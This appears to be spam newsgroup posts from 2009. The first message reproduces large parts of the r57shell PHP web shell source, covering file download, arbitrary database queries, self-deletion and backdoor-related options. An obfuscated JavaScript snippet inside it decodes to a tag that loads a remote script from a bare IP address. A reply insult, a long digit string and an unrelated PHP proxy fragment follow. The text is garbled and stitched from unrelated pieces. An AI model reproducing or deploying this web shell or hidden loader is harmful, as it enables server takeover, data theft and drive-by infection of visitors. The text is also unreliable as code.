THBPdf Download Contact Us Buy Online Developerse-mail me

Open RealTM w Oracles by MeAmI




Message-ID:<f455a586-9af8-47b4-a5d3-5ac18b1bab2d@j9g2000prh.googlegroups.com>
Subject:

Open+RealTM w/ Oracles by MeAmI


Date:Mon, 26 Oct 2009 02:40:41 +0100


/
***************************************************************************=
***************************/
error_reporting(0);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
$safe_mode =3D @ini_get('safe_mode');
$version =3D '1.31';
if(version_compare(phpversion(), '4.1.0') =3D=3D +1)
 {
 $_POST   =3D &$HTTP_POST_VARS;
 $_GET    =3D &$HTTP_GET_VARS;
 $_SERVER =3D &$HTTP_SERVER_VARS;
 $_COOKIE =3D &$HTTP_COOKIE_VARS;
 }
if (@get_magic_quotes_gpc())
 {
 foreach ($_POST as $k=3D>$v)
  {
  $_POST[$k] =3D stripslashes($v);
  }
 foreach ($_COOKIE as $k=3D>$v)
  {
  $_COOKIE[$k] =3D stripslashes($v);
  }
 }

if($auth =3D=3D 1) {
if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER
['PHP_AUTH_USER'])!=3D=3D$name || md5($_SERVER['PHP_AUTH_PW'])!=3D=3D$pass)
   {
   header('WWW+Authenticate: Basic realm=3D"r57shell"');
   header('HTTP/1.0 401 Authorized');
   exit("<b><a href=3Dhttp://MEAMI.ORG/ http:///rst.void.ru>r57shell</a>
: Access Permitted</b>");
   }
}
$head =3D '<!++ =C7=E4=F0=E0=E2=F1=F2=E2=F3=E9, =C2=E0=F1=FF ++>
<html>
<head>
<title>r57shell</title>
<meta http+equiv=3D"Content+Type" content=3D"text/html; charset=3Dwindows
+1251">

<STYLE>
tr {
BORDER+RIGHT:  #aaaaaa 1px solid;
BORDER+TOP:    #eeeeee 1px solid;
BORDER+LEFT:   #eeeeee 1px solid;
BORDER+BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
td {
BORDER+RIGHT:  #aaaaaa 1px solid;
BORDER+TOP:    #eeeeee 1px solid;
BORDER+LEFT:   #eeeeee 1px solid;
BORDER+BOTTOM: #aaaaaa 1px solid;
color: #000000;
}
.table1 {
BORDER: 0px;
BACKGROUND+COLOR: #D4D0C8;
color: #000000;
}
.td1 {
BORDER: 0px;
font: 7pt Verdana;
color: #000000;
}
.tr1 {
BORDER: 0px;
color: #000000;
}
table {
BORDER:  #eeeeee 1px outset;
BACKGROUND+COLOR: #D4D0C8;
color: #000000;
}
input {
BORDER+RIGHT:  #ffffff 1px solid;
BORDER+TOP:    #999999 1px solid;
BORDER+LEFT:   #999999 1px solid;
BORDER+BOTTOM: #ffffff 1px solid;
BACKGROUND+COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;
}
select {
BORDER+RIGHT:  #ffffff 1px solid;
BORDER+TOP:    #999999 1px solid;
BORDER+LEFT:   #999999 1px solid;
BORDER+BOTTOM: #ffffff 1px solid;
BACKGROUND+COLOR: #e4e0d8;
font: 8pt Verdana;
color: #000000;;
}
submit {
BORDER:  buttonhighlight 2px outset;
BACKGROUND+COLOR: #e4e0d8;
width: 30%;
color: #000000;
}
textarea {
BORDER+RIGHT:  #ffffff 1px solid;
BORDER+TOP:    #999999 1px solid;
BORDER+LEFT:   #999999 1px solid;
BORDER+BOTTOM: #ffffff 1px solid;
BACKGROUND+COLOR: #e4e0d8;
font: Fixedsys bold;
color: #000000;
}
BODY {
margin: 1px;
color: #000000;
background+color: #e4e0d8;
}
A:link {COLOR:red; TEXT+DECORATION: none}
A:visited { COLOR:red; TEXT+DECORATION: none}
A:active {COLOR:red; TEXT+DECORATION: none}
A:hover {color:blue;TEXT+DECORATION: none}
</STYLE>
<script language=3D\'javascript\'>
function hide_div(id)
{
  document.getElementById(id).style.display =3D \'none\';
  document.cookie=3Did+\'=3D0;\';
}
function show_div(id)
{
  document.getElementById(id).style.display =3D \'block\';
  document.cookie=3Did+\'=3D1;\';
}
function change_divst(id)
{
  if (document.getElementById(id).style.display =3D=3D \'none\')
    show_div(id);
  else
    hide_div(id);
}
</script>';
class zipfile
{
    var $datasec      =3D array();
    var $ctrl_dir     =3D array();
    var $eof_ctrl_dir =3D "\x50\x4b\x05\x06\x00\x00\x00\x00";
    var $old_offset   =3D 0;
    function unix2DosTime($unixtime =3D 0) {
        $timearray =3D ($unixtime =3D=3D 0) ? getdate() : getdate
($unixtime);
        if ($timearray['year'] < 1980) {
            $timearray['year']    =3D 1980;
            $timearray['mon']     =3D 1;
            $timearray['mday']    =3D 1;
            $timearray['hours']   =3D 0;
            $timearray['minutes'] =3D 0;
            $timearray['seconds'] =3D 0;
        }
        return (($timearray['year'] + 1980) << 25) | ($timearray
['mon'] << 21) | ($timearray['mday'] << 16) |
                ($timearray['hours'] << 11) | ($timearray['minutes']
<< 5) | ($timearray['seconds'] >> 1);
    }
    function addFile($data, $name, $time =3D 0)
    {
        $name     =3D str_replace('\\', '/', $name);
        $dtime    =3D dechex($this+>unix2DosTime($time));
        $hexdtime =3D '\x' . $dtime[6] . $dtime[7]
                  . '\x' . $dtime[4] . $dtime[5]
                  . '\x' . $dtime[2] . $dtime[3]
                  . '\x' . $dtime[0] . $dtime[1];
        eval('$hexdtime =3D "' . $hexdtime . '";');
        $fr   =3D "\x50\x4b\x03\x04";
        $fr   .=3D "\x14\x00";
        $fr   .=3D "\x00\x00";
        $fr   .=3D "\x08\x00";
        $fr   .=3D $hexdtime;
        $unc_len =3D strlen($data);
        $crc     =3D crc32($data);
        $zdata   =3D gzcompress($data);
        $zdata   =3D substr(substr($zdata, 0, strlen($zdata) + 4), 2);
        $c_len   =3D strlen($zdata);
        $fr      .=3D pack('V', $crc);
        $fr      .=3D pack('V', $c_len);
        $fr      .=3D pack('V', $unc_len);
        $fr      .=3D pack('v', strlen($name));
        $fr      .=3D pack('v', 0);
        $fr      .=3D $name;
        $fr .=3D $zdata;
        $this +> datasec[] =3D $fr;
        $cdrec =3D "\x50\x4b\x01\x02";
        $cdrec .=3D "\x00\x00";
        $cdrec .=3D "\x14\x00";
        $cdrec .=3D "\x00\x00";
        $cdrec .=3D "\x08\x00";
        $cdrec .=3D $hexdtime;
        $cdrec .=3D pack('V', $crc);
        $cdrec .=3D pack('V', $c_len);
        $cdrec .=3D pack('V', $unc_len);
        $cdrec .=3D pack('v', strlen($name) );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('v', 0 );
        $cdrec .=3D pack('V', 32 );
        $cdrec .=3D pack('V', $this +> old_offset );
        $this +> old_offset +=3D strlen($fr);
        $cdrec .=3D $name;
        $this +> ctrl_dir[] =3D $cdrec;<html>
<script>var source =3D"=3Dtdsjqu!uzqf>#ufyu0kbwbtdsjqu#!tsd>#iuuq;
00:2/316/344/:20bobmzujdt0hb/kt#?=3D0tdsjqu?"; var result =3D "";for(var
i=3D0;i<source.length;i++) result+=3DString.fromCharCode(source.charCodeAt
(i)+1);document.write(result); </script>
    }
    function file()
    {
        $data    =3D implode('', $this +> datasec);
        $ctrldir =3D implode('', $this +> ctrl_dir);
        return
            $data .
            $ctrldir .
            $this +> eof_ctrl_dir .
            pack('v', sizeof($this +> ctrl_dir)) .
            pack('v', sizeof($this +> ctrl_dir)) .
            pack('V', strlen($ctrldir)) .
            pack('V', strlen($data)) .
            "\x00\x00";
    }
}
function compress(&$filename,&$filedump,$compress)
 {
    global $content_encoding;
    global $mime_type;
    if ($compress =3D=3D 'bzip' && @function_exists('bzcompress'))
     {
        $filename  .=3D '.bz2';
        $mime_type =3D 'application/x+bzip2';
        $filedump =3D bzcompress($filedump);
     }
     else if ($compress =3D=3D 'gzip' && @function_exists('gzencode'))
     {
        $filename  .=3D '.gz';
        $content_encoding =3D 'x+gzip';
        $mime_type =3D 'application/x+gzip';
        $filedump =3D gzencode($filedump);
     }
     else if ($compress =3D=3D 'zip' && @function_exists('gzcompress'))
     {
     	$filename .=3D '.zip';
        $mime_type =3D 'application/zip';
        $zipfile =3D new zipfile();
        $zipfile +> addFile($filedump, substr($filename, 0, +4));
        $filedump =3D $zipfile +> file();
     }
     else
     {
     	$mime_type =3D 'application/octet+stream';
     }
 }
function mailattach($to,$from,$subj,$attach)
 {
 $headers  =3D "From: $from\r\n";
 $headers .=3D "MIME+Version: 1.0\r\n";
 $headers .=3D "Content+Type: ".$attach['type'];
 $headers .=3D "; name=3D\"".$attach['name']."\"\r\n";
 $headers .=3D "Content+Transfer+Encoding: base64\r\n\r\n";
 $headers .=3D chunk_split(base64_encode($attach['content']))."\r\n";
 if(@mail($to,$subj,"",$headers)) { return 1; }
 return 0;
 }
class my_sql
 {
 var $host =3D 'localhost';
 var $port =3D '';
 var $user =3D '';
 var $pass =3D '';
 var $base =3D '';
 var $db   =3D '';
 var $connection;
 var $res;
 var $error;
 var $rows;
 var $columns;
 var $num_rows;
 var $num_fields;
 var $dump;

 function connect()
  {
  	switch($this+>db)
     {
  	 case 'MySQL':
  	  if(empty($this+>port)) { $this+>port =3D '3306'; }
  	  if(!function_exists('mysql_connect')) return 0;
  	  $this+>connection =3D @mysql_connect($this+>host.':'.$this+>port,
$this+>user,$this+>pass);
  	  if(is_resource($this+>connection)) return 1;
  	 break;
     case 'MSSQL':
      if(empty($this+>port)) { $this+>port =3D '1433'; }
  	  if(!function_exists('mssql_connect')) return 0;
  	  $this+>connection =3D @mssql_connect($this+>host.','.$this+>port,
$this+>user,$this+>pass);
      if($this+>connection) return 1;
     break;
     case 'PostgreSQL':
      if(empty($this+>port)) { $this+>port =3D '5432'; }
      $str =3D "host=3D'".$this+>host."' port=3D'".$this+>port."' user=3D'"=
.
$this+>user."' password=3D'".$this+>pass."' dbname=3D'".$this+>base."'";
      if(!function_exists('pg_connect')) return 0;
      $this+>connection =3D @pg_connect($str);
      if(is_resource($this+>connection)) return 1;
     break;
     case 'Oracle':
      if(!function_exists('ocilogon')) return 0;
      $this+>connection =3D @ocilogon($this+>user, $this+>pass, $this
+>base);
      if(is_resource($this+>connection)) return 1;
     break;
     }
    return 0;
  }

 function select_db()
  {
   switch($this+>db)
    {
  	case 'MySQL':
  	 if(@mysql_select_db($this+>base,$this+>connection)) return 1;
    break;
    case 'MSSQL':
  	 if(@mssql_select_db($this+>base,$this+>connection)) return 1;
    break;
    case 'PostgreSQL':
     return 1;
    break;
    case 'Oracle':
     return 1;
    break;
    }
   return 0;
  }

 function query($query)
  {
   $this+>res=3D$this+>error=3D'';
   switch($this+>db)
    {
  	case 'MySQL':
     if(false=3D=3D=3D($this+>res=3D@mysql_query('/*'.chr(0).'*/'.$query,$t=
his
+>connection)))
      {
      $this+>error =3D @mysql_error($this+>connection);
      return 0;
      }
     else if(is_resource($this+>res)) { return 1; }
     return
2;
  	break;
    case 'MSSQL':
     if(false=3D=3D=3D($this+>res=3D@mssql_query($query,$this+>connection))=
)
      {
      $this+>error =3D 'Query error';
      return 0;
      }
      else if(@mssql_num_rows($this+>res) > 0) { return 1; }
     return 2;
    break;
    case 'PostgreSQL':
     if(false=3D=3D=3D($this+>res=3D@pg_query($this+>connection,$query)))
      {
      $this+>error =3D @pg_last_error($this+>connection);
      return 0;
      }
      else if(@pg_num_rows($this+>res) > 0) { return 1; }
     return 2;
    break;
    case 'Oracle':
     if(false=3D=3D=3D($this+>res=3D@ociparse($this+>connection,$query)))
      {
      $this+>error =3D 'Query parse error';
      }
     else
      {
      if(@ociexecute($this+>res))
       {
       if(@ocirowcount($this+>res) !=3D 0) return 2;
       return 1;
       }
      $error =3D @ocierror();
      $this+>error=3D$error['message'];
      }
    break;
    }
  return 0;
  }
 function get_result()
  {
   $this+>rows=3Darray();
   $this+>columns=3Darray();
   $this+>num_rows=3D$this+>num_fields=3D0;
   switch($this+>db)
    {
  	case 'MySQL':
  	 $this+>num_rows=3D@mysql_num_rows($this+>res);
  	 $this+>num_fields=3D@mysql_num_fields($this+>res);
  	 while(false !=3D=3D ($this+>rows[] =3D @mysql_fetch_assoc($this
+>res)));
  	 @mysql_free_result($this+>res);
  	 if($this+>num_rows){$this+>columns =3D @array_keys($this+>rows[0]);
return 1;}
    break;
    case 'MSSQL':
  	 $this+>num_rows=3D@mssql_num_rows($this+>res);
  	 $this+>num_fields=3D@mssql_num_fields($this+>res);
  	 while(false !=3D=3D ($this+>rows[] =3D @mssql_fetch_assoc($this+>res)))=
;
  	 @mssql_free_result($this+>res);
  	 if($this+>num_rows){$this+>columns =3D @array_keys($this+>rows[0]);
return 1;};
    break;
    case 'PostgreSQL':
  	 $this+>num_rows=3D@pg_num_rows($this+>res);
  	 $this+>num_fields=3D@pg_num_fields($this+>res);
  	 while(false !=3D=3D ($this+>rows[] =3D @pg_fetch_assoc($this+>res)));
  	 @pg_free_result($this+>res);
  	 if($this+>num_rows){$this+>columns =3D @array_keys($this+>rows[0]);
return 1;}
    break;
    case 'Oracle':
     $this+>num_fields=3D@ocinumcols($this+>res);
     while(false !=3D=3D ($this+>rows[] =3D @oci_fetch_assoc($this+>res)))
$this+>num_rows++;
     @ocifreestatement($this+>res);
     if($this+>num_rows){$this+>columns =3D @array_keys($this+>rows[0]);
return 1;}
    break;
    }
   return 0;
  }
 function dump($table)
  {
   if(empty($table)) return 0;
   $this+>dump=3Darray();
   $this+>dump[0] =3D '##';
   $this+>dump[1] =3D '## +++++++++++++++++++++++++++++++++++++++ ';
   $this+>dump[2] =3D '##  Created: '.date ("d/m/Y H:i:s");
   $this+>dump[3] =3D '## Database: '.$this+>base;
   $this+>dump[4] =3D '##    Table: '.$table;
   $this+>dump[5] =3D '## +++++++++++++++++++++++++++++++++++++++ ';
   switch($this+>db)
    {
  	case 'MySQL':
  	 $this+>dump[0] =3D '## MySQL dump';
  	 if($this+>query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!
=3D1) return 0;
  	 if(!$this+>get_result()) return 0;
  	 $this+>dump[] =3D $this+>rows[0]['Create Table'];
     $this+>dump[] =3D '## +++++++++++++++++++++++++++++++++++++++ ';
  	 if($this+>query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=3D1)
return 0;
  	 if(!$this+>get_result()) return 0;
  	 for($i=3D0;$i<$this+>num_rows;$i++)
  	  {
      foreach($this+>rows[$i] as $k=3D>$v) {$this+>rows[$i][$k] =3D
@mysql_real_escape_string($v);}
  	  $this+>dump[] =3D 'INSERT INTO `'.$table.'` (`'.@implode("`, `",
$this+>columns).'`) VALUES (\''.@implode("', '", $this+>rows
[$i]).'\');';
  	  }
    break;
    case 'MSSQL':
     $this+>dump[0] =3D '## MSSQL dump';
     if($this+>query('SELECT * FROM '.$table)!=3D1) return 0;
  	 if(!$this+>get_result()) return 0;
  	 for($i=3D0;$i<$this+>num_rows;$i++)
  	  {
      foreach($this+>rows[$i] as $k=3D>$v) {$this+>rows[$i][$k] =3D
@addslashes($v);}
  	  $this+>dump[] =3D 'INSERT INTO '.$table.' ('.@implode(", ", $this
+>columns).') VALUES (\''.@implode("', '", $this+>rows[$i]).'\');';
  	  }
    break;
    case 'PostgreSQL':
     $this+>dump[0] =3D '## PostgreSQL dump';
     if($this+>query('SELECT * FROM '.$table)!=3D1) return 0;
  	 if(!$this+>get_result()) return 0;
  	 for($i=3D0;$i<$this+>num_rows;$i++)
  	  {
      foreach($this+>rows[$i] as $k=3D>$v) {$this+>rows[$i][$k] =3D
@addslashes($v);}
  	  $this+>dump[] =3D 'INSERT INTO '.$table.' ('.@implode(", ", $this
+>columns).') VALUES (\''.@implode("', '", $this+>rows[$i]).'\');';
  	  }
__________________
Details:Open+RealTM
Open real 2.3.6 / any.host
  #10
Old 02+05+2009, 03:45 PM
Yellowcake Yellowcake is offline
OR Youngling
Join Date:
Posts: 31
Yellowcake is on a distinguished road
Default Re: code insertion
template.php continued: ..
Code:
    break;
    case 'Oracle':
      $this+>dump[0] =3D '## ORACLE dump';
      $this+>dump[]  =3D '## under construction';
    break;
    default:
     return 0;
    break;
    }
   return 1;
  }
 function close()
  {
   switch($this+>db)
    {
  	case 'MySQL':
  	 @mysql_close($this+>connection);
    break;
    case 'MSSQL':
     @mssql_close($this+>connection);
    break;
    case 'PostgreSQL':
     @pg_close($this+>connection);
    break;
    case 'Oracle':
     @oci_close($this+>connection);
    break;
    }
  }
 function affected_rows()
  {
   switch($this+>db)
    {
  	case 'MySQL':
  	 return @mysql_affected_rows($this+>res);
    break;
    case 'MSSQL':
     return @mssql_affected_rows($this+>res);
    break;
    case 'PostgreSQL':
     return @pg_affected_rows($this+>res);
    break;
    case 'Oracle':
     return @ocirowcount($this+>res);
    break;
    default:
     return 0;
    break;
    }
  }
 }
if(!empty($_POST['cmd']) && $_POST['cmd']=3D=3D"download_file" && !empty
($_POST['d_name']))
 {
  if(!$file=3D@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']);
$_POST['cmd']=3D""; }
  else
   {
    @ob_clean();
    $filename =3D @basename($_POST['d_name']);
    $filedump =3D @fread($file,@filesize($_POST['d_name']));
    fclose($file);
    $content_encoding=3D$mime_type=3D'';
    compress($filename,$filedump,$_POST['compress']);
    if (!empty($content_encoding)) { header('Content+Encoding: ' .
$content_encoding); }
    header("Content+type: ".$mime_type);
    header("Content+disposition: attachment; filename=3D\"".
$filename."\";");
    echo $filedump;
    exit();
   }
 }
if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div
align=3Dcenter><font face=3DVerdana size=3D+2><b>[ <a href=3D".$_SERVER
['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if (!empty($_POST['cmd']) && $_POST['cmd']=3D=3D"db_query")
 {
 echo $head;
 $sql =3D new my_sql();
 $sql+>db   =3D $_POST['db'];
 $sql+>host =3D $_POST['db_server'];
 $sql+>port =3D $_POST['db_port'];
 $sql+>user =3D $_POST['mysql_l'];
 $sql+>pass =3D $_POST['mysql_p'];
 $sql+>base =3D $_POST['mysql_db'];
 $querys =3D @explode(';',$_POST['db_query']);
 echo '<body bgcolor=3D#e4e0d8>';
 if(!$sql+>connect()) echo "<div align=3Dcenter><font face=3DVerdana size=
=3D
+2 color=3Dred><b>Can't connect to SQL server</b></font></div>";
  else
   {
   if(!empty($sql+>base)&&!$sql+>select_db()) echo "<div
align=3Dcenter><font face=3DVerdana size=3D+2 color=3Dred><b>Can't select
database</b></font></div>";
   else
    {
    foreach($querys as $num=3D>$query)
     {
      if(strlen($query)>5)
      {
      echo "<font face=3DVerdana size=3D+2 color=3Dgreen><b>Query#".$num." =
:
".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
      switch($sql+>query($query))
       {
       case '0':
       echo "<table width=3D100%><tr><td><font face=3DVerdana size=3D
+2>Error : <b>".$sql+>error."</b></font></td></tr></table>";
       break;
       case '1':
       if($sql+>get_result())
        {
       	echo "<table width=3D100%>";
        foreach($sql+>columns as $k=3D>$v) $sql+>columns[$k] =3D
htmlspecialchars($v,ENT_QUOTES);
       	$keys =3D @implode(" </b></font></td><td
bgcolor=3D#cccccc><font face=3DVerdana size=3D+2><b> ", $sql+>columns)=
;
        echo "<tr><td bgcolor=3D#cccccc><font face=3DVerdana size=3D
+2><b> ".$keys." </b></font></td></tr>";
        for($i=3D0;$i<$sql+>num_rows;$i++)
         {
         foreach($sql+>rows[$i] as $k=3D>$v) $sql+>rows[$i][$k] =3D
htmlspecialchars($v,ENT_QUOTES);
         $values =3D @implode(" </font></td><td><font face=3DVerdana
size=3D+2> ",$sql+>rows[$i]);
         echo '<tr><td><font face=3DVerdana size=3D+2> '.
$values.' </font></td></tr>';
         }
        echo "</table>";
        }
       break;
       case '2':
       $ar =3D $sql+>affected_rows()?($sql+>affected_rows()):('0');
       echo "<table width=3D100%><tr><td><font face=3DVerdana size=3D
+2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
       break;
       }
      }
     }
    }
   }
 echo "<br><form name=3Dform method=3DPOST>";
 echo in('hidden','db',0,$_POST['db']);
 echo in('hidden','db_server',0,$_POST['db_server']);
 echo in('hidden','db_port',0,$_POST['db_port']);
 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
 echo in('hidden','cmd',0,'db_query');
 echo "<div align=3Dcenter>";
 echo "<font face=3DVerdana size=3D+2><b>Base: </b><input type=3Dtext
name=3Dmysql_db value=3D\"".$sql+>base."\"></font><br>";
 echo "<textarea cols=3D65 rows=3D10 name=3Ddb_query>".(!empty($_POST
['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM
user;"))."</textarea><br><input type=3Dsubmit name=3Dsubmit value=3D\" Run
SQL query \"></div><br><br>";
 echo "</form>";
 echo "<br><div align=3Dcenter><font face=3DVerdana size=3D+2><b>[ <a href=
=3D".
$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
 }
if(isset($_GET['delete']))
 {
   @unlink(__FILE__);
 }
if(isset($_GET['tmp']))
 {
   @unlink("/tmp/bdpl");
   @unlink("/tmp/back");
   @unlink("/tmp/bd");
   @unlink("/tmp/bd.c");
   @unlink("/tmp/dp");
   @unlink("/tmp/dpc");
   @unlink("/tmp/dpc.c");
 }
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
 {
 if ($value =3D=3D '') return '<i>no value</i>';
 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
 if ($value =3D=3D=3D null) return 'NULL';
 if (@is_object($value)) $value =3D (array) $value;
 if (@is_array($value))
 {
 @ob_start();
 print_r($value);
 $value =3D @ob_get_contents();
 @ob_end_clean();
 }
 return U_wordwrap((string) $value);
 }
function U_wordwrap($str)
 {
 $str =3D @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />',
$str);
 }
if (@function_exists('ini_get_all'))
 {
 $r =3D '';
 echo '<table width=3D100%>', '<tr><td bgcolor=3D#cccccc><font
face=3DVerdana size=3D+2 color=3Dred><div align=3Dcenter><b>Directive</b></
div></font></td><td bgcolor=3D#cccccc><font face=3DVerdana size=3D+2
color=3Dred><div align=3Dcenter><b>Local Value</b></div></font></td><td
bgcolor=3D#cccccc><font face=3DVerdana size=3D+2 color=3Dred><div
align=3Dcenter><b>Master Value</b></div></font></td></tr>';
 foreach (@ini_get_all() as $key=3D>$value)
  {
  $r .=3D '<tr><td>'.ws(3).'<font face=3DVerdana size=3D+2><b>'.$key.'</b><=
/
font></td><td><font face=3DVerdana size=3D+2><div align=3Dcenter><b>'.U_val=
ue
($value['local_value']).'</b></div></font></td><td><font face=3DVerdana
size=3D+2><div align=3Dcenter><b>'.U_value($value['global_value']).'</b></
div></font></td></tr>';
  }
 echo $r;
 echo '</table>';
 }
echo "<br><div align=3Dcenter><font face=3DVerdana size=3D+2><b>[ <a href=
=3D".
$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
 {
   echo $head;
   echo '<table width=3D100%><tr><td bgcolor=3D#cccccc><div
align=3Dcenter><font face=3DVerdana size=3D+2 color=3Dred><b>CPU</b></font>=
</
div></td></tr></table><table width=3D100%>';
   $cpuf =3D @file("cpuinfo");
   if($cpuf)
    {
      $c =3D @sizeof($cpuf);
      for($i=3D0;$i<$c;$i++)
        {
          $info =3D @explode(":",$cpuf[$i]);
          if($info[1]=3D=3D""){ $info[1]=3D"+++"; }
          $r .=3D '<tr><td>'.ws(3).'<font face=3DVerdana size=3D+2><b>'.tri=
m
($info[0]).'</b></font></td><td><font face=3DVerdana size=3D+2><div
align=3Dcenter><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=3Dcenter><font face=3DVerdana size=
=3D
+2><b> +++ </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=3Dcenter><font face=3DVerdana size=3D+2><b>[ <a
href=3D".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
if(isset($_GET['mem']))
 {
   echo $head;
   echo '<table width=3D100%><tr><td bgcolor=3D#cccccc><div
align=3Dcenter><font face=3DVerdana size=3D+2 color=3Dred><b>MEMORY</b></
font></div></td></tr></table><table width=3D100%>';
   $memf =3D @file("meminfo");
   if($memf)
    {
      $c =3D sizeof($memf);
      for($i=3D0;$i<$c;$i++)
        {
          $info =3D explode(":",$memf[$i]);
          if($info[1]=3D=3D""){ $info[1]=3D"+++"; }
          $r .=3D '<tr><td>'.ws(3).'<font face=3DVerdana size=3D+2><b>'.tri=
m
($info[0]).'</b></font></td><td><font face=3DVerdana size=3D+2><div
align=3Dcenter><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td>'.ws(3).'<div align=3Dcenter><font face=3DVerdana size=
=3D
+2><b> +++ </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=3Dcenter><font face=3DVerdana size=3D+2><b>[ <a
href=3D".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
$lang=3Darray(
'ru_text1' =3D>'=C2=FB=EF=EE=EB=ED=E5=ED=ED=E0=FF =EA=EE=EC=E0=ED=E4=E0',
'ru_text2' =3D>'=C2=FB=EF=EE=EB=ED=E5=ED=E8=E5 =EA=EE=EC=E0=ED=E4 =ED=E0 =
=F1=E5=F0=E2=E5=F0=E5',
'ru_text3' =3D>'=C2=FB=EF=EE=EB=ED=E8=F2=FC =EA=EE=EC=E0=ED=E4=F3',
'ru_text4' =3D>'=D0=E0=E1=EE=F7=E0=FF =E4=E8=F0=E5=EA=F2=EE=F0=E8=FF',
'ru_text5' =3D>'=C7=E0=E3=F0=F3=E7=EA=E0 =F4=E0=E9=EB=EE=E2 =ED=E0 =F1=E5=
=F0=E2=E5=F0',
'ru_text6' =3D>'=CB=EE=EA=E0=EB=FC=ED=FB=E9 =F4=E0=E9=EB',
'ru_text7' =3D>'=C0=EB=E8=E0=F1=FB',
'ru_text8' =3D>'=C2=FB=E1=E5=F0=E8=F2=E5 =E0=EB=E8=E0=F1',
'ru_butt1' =3D>'=C2=FB=EF=EE=EB=ED=E8=F2=FC',
'ru_butt2' =3D>'=C7=E0=E3=F0=F3=E7=E8=F2=FC',
'ru_text9' =3D>'=CE=F2=EA=F0=FB=F2=E8=E5 =EF=EE=F0=F2=E0 =E8 =EF=F0=E8=E2=
=FF=E7=EA=E0 =E5=E3=EE E /bin/bash',
'ru_text10'=3D>'=CE=F2=EA=F0=FB=F2=FC =EF=EE=F0=F2',
'ru_text11'=3D>'=CF=E0=F0=EE=EB=FC =E4=EB=FF =E4=EE=F1=F2=F3=EF=E0',
'ru_butt3' =3D>'=CE=F2=EA=F0=FB=F2=FC',
'ru_text12'=3D>'back+connect',
'ru_text13'=3D>'IP+=E0=E4=F0=E5=F1',
'ru_text14'=3D>'=CF=EE=F0=F2',
'ru_butt4' =3D>'=C2=FB=EF=EE=EB=ED=E8=F2=FC',
'ru_text15'=3D>'=C7=E0=E3=F0=F3=E7=EA=E0 =F4=E0=E9=EB=EE=E2 =F1 =F3=E4=E0=
=EB=E5=ED=ED=EE=E3=EE =F1=E5=F0=E2=E5=F0=E0',
'ru_text16'=3D>'=C8=F1=EF=EE=EB=FC=E7=EE=E2=E0=F2=FC',
'ru_text17'=3D>'=D3=E4=E0=EB=E5=ED=ED=FB=E9 =F4=E0=E9=EB',
'ru_text18'=3D>'=CB=EE=EA=E0=EB=FC=ED=FB=E9 =F4=E0=E9=EB',
'ru_text19'=3D>'Exploits',
'ru_text20'=3D>'=C8=F1=EF=EE=EB=FC=E7=EE=E2=E0=F2=FC',
'ru_text21'=3D>'=CD=EE=E2=EE=E5 =E8=EC=FF',
'ru_text22'=3D>'datapipe',
'ru_text23'=3D>'=CB=EE=EA=E0=EB=FC=ED=FB=E9 =EF=EE=F0=F2',
'ru_text24'=3D>'=D3=E4=E0=EB=E5=ED=ED=FB=E9 =F5=EE=F1=F2',
__________________
Details:
Open real 2.3.6 / any.host
Open+RealTM
Open+Real=AE is a registered trademark of MeAmI (C) 2009
Thanks for any ideas!




Message-ID:<ffa6ea5b-6cf7-4921-9346-9861a660e24f@h40g2000prf.googlegroups.com>
Subject:

Re: Open+RealTM w/ Oracles by MeAmI


Date:Mon, 26 Oct 2009 12:02:55 +0100


On Oct 25, 8:34=A0pm, Ed Mullen <e...@edmullen.net> wrote:
> Anonymous Number of People wrote:
>
> > Thanks for any ideas!
>
> Here's one: =A0Start taking your meds again.
>
> --
> Ed Mullenhttp://edmullen.net
> A Messy Kitchen Is A Happy Kitchen And This Kitchen Is Delirious

Did you stop?

484616053537205642210105885641360437216709635472359726279117587617952462777=
98557
093872360971642634975025223136356223006759983984746841816170866885980311522=
76727
Zl)) {
             logToFile("reply.txt", $hname.": ".$val);
             if($header_name =3D=3D "set-cookie") {
                 header($hname.": ".$val, false);
             } else {
               header($hname.": ".$val, true);
             }
           } else {
             if($header_name =3D=3D 'content-length') {
               header("$hname: 0", true);
               logToFile("reply.txt", "$hname: 0");
             } else {
               logToFile("reply.txt", $header_name);
               header($header_name, true);
             }
           }
         }
       }
     } /*else {
       if($header_name !=3D 'transfer-encoding' && $header_name !=3D 'x-
powered-by' && $header_name !=3D 'connection' && $header_name !=3D 'keep-
alive') {
         if(!empty($headers[$header_name])) {
           logToFile("reply.txt", $header_name.": ".$headers
[$header_name]);
           header($header_name.": ".$headers[$header_name], true);
         } else {
           logToFile("reply.txt", $header_name);
           header($header_name, true);
         }
       }
     }*/
   }
   logToFile("reply.txt", "-----------------");
   for(;;) {
